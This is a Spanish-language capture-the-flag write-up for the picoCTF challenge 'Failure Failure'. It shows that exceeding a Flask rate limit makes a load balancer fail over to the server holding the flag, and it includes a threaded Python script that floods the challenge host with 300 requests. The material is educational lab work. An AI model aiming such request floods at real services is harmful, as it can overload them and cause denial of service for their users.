Failure Failure writeup

Descripción

Welcome to Failure Failure — a high-available system.

This challenge simulates a real-world failover scenario where one server is prioritized over the other.

A load balancer stands between you and the truth — and it won’t hand over the flag until you force its hand.

Failure Failure solución

Al lanzar la instancia tendremos acceso al código de la aplicación web hecho en Flask y al archivo de configuración del proxy. Dentro del código de la aplicación web veremos lo siguiente:

@limiter.limit("300 per minute")

Con lo cual, tenemos que enviar más de 300 peticiones en un solo minuto para saturar un servidor y que se nos rediria al de la flag. Para ello usaremos el siguiente código de Python:

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import time

URL = "http://mysterious-sea.picoctf.net:51070/"
TOTAL_PETICIONES = 300
MAX_THREADS = 20


def hacer_peticion(numero):
    try:
        respuesta = requests.get(URL, timeout=10)
        return numero, respuesta.status_code
    except requests.RequestException as e:
        return numero, f"Error: {e}"


inicio = time.monotonic()

with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
    futuros = [
        executor.submit(hacer_peticion, i)
        for i in range(1, TOTAL_PETICIONES + 1)
    ]

    for futuro in as_completed(futuros):
        numero, resultado = futuro.result()
        print(f"Petición {numero}: {resultado}")

duracion = time.monotonic() - inicio

print(f"\n300 peticiones completadas en {duracion:.2f} segundos")

if duracion < 60:
    print("Objetivo de peticiones cumplido")
else:
    print("Objetivo de peticiones no cumplido")

Dado que si usamos un único hilo para esto cada petición tardará más de un segundo, se han usado varios para lograr el objetivo. Al volver a la página nos darán la flag, habiendo completado así el CTF:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *